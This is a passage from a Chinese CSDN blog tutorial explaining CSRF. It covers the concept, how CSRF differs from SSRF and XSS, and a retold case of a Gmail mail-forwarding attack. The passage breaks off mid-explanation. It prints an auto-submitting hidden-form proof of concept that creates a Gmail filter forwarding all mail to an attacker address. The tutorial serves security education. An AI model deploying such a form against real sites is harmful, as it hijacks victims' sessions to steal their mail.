「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

本文详细介绍了CSRF(跨站请求伪造)的概念、实战场景、攻击方式及防御手段。通过实例展示了CSRF如何操作用户在Gmail中设置过滤器,导致邮件泄露。并探讨了GET和POST请求的CSRF攻击,以及针对CSRF Token和同源策略的绕过方法。文章最后强调了防御CSRF的重要性,提供了多种防御策略。
摘要由CSDN通过智能技术生成

1 什么是 CSRF

面试的时候的著名问题:"谈一谈你对 CSRF 与 SSRF 区别的看法"

这个问题,如果我们用非常通俗的语言讲的话,CSRF 更像是钓鱼的举动,是用户攻击用户的;而对于 SSRF 来说,是由服务器发出请求,用户服务器的。

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

在 Port 中,原理图是这样的

我们在学习 CSRF 攻击之前好好先阐述一下它的原理

一个典型的CSRF攻击有着如下的流程:

  • 受害者登录 a.com,并保留了登录凭证(Cookie)。

  • 攻击者引诱受害者访问了 b.com。

  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。

  • a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。

  • a.com 以受害者的名义执行了 act=xx。

  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作。

是不是感觉这个工作流程和 XSS 有些类似,但是 XSS 与 CSRF 的最大区别在于对 Cookie 的使用,XSS 的把受害者 的 Cookie 偷盗过来,而 CSRF 则是借用了受害者的 Cookie。

下面我们举个例子深化一下 CSRF 的原理。

2 CSRF 实战场景(原理应用)

本段内容摘自美团技术团队文章

这一天,小明同学百无聊赖地刷着 Gmail 邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意:

甩卖比特币,一个只要998!!

聪明的小明当然知道这种肯定是骗子,但还是抱着好奇的态度点了进去(请勿模仿)。果然,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切似乎什么都没有发生……

在这平静的外表之下,黑客的攻击已然得手。小明的 Gmail 中,被偷偷设置了一个过滤规则,这个规则使得所有的邮件都会被自动转发到 hacker@hackermail.com(也就是攻击方的邮箱)。小明还在继续刷着邮件,殊不知他的邮件正在一封封地,如脱缰的野马一般地,持续不断地向着黑客的邮箱转发而去。

不久之后的一天,小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始觉得不太对劲。

小明仔细查了下域名的转让,对方是拥有自己的验证码的,而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接,打开后重新查看了“空白页”的源码:

<form method="POST" 		action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
	<input type="hidden" name="cf2_emc" value="true"/> 
	<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
	..... 
	<input type="hidden" name="irf" value="on"/> 
	<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 

<script> document.forms[0].submit(); </script>

代码解析 ———— 这也是我们后续要讲到的 CSRF Poc

这个页面只要打开,就会向Gmail发送一个post请求。请求中&#

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值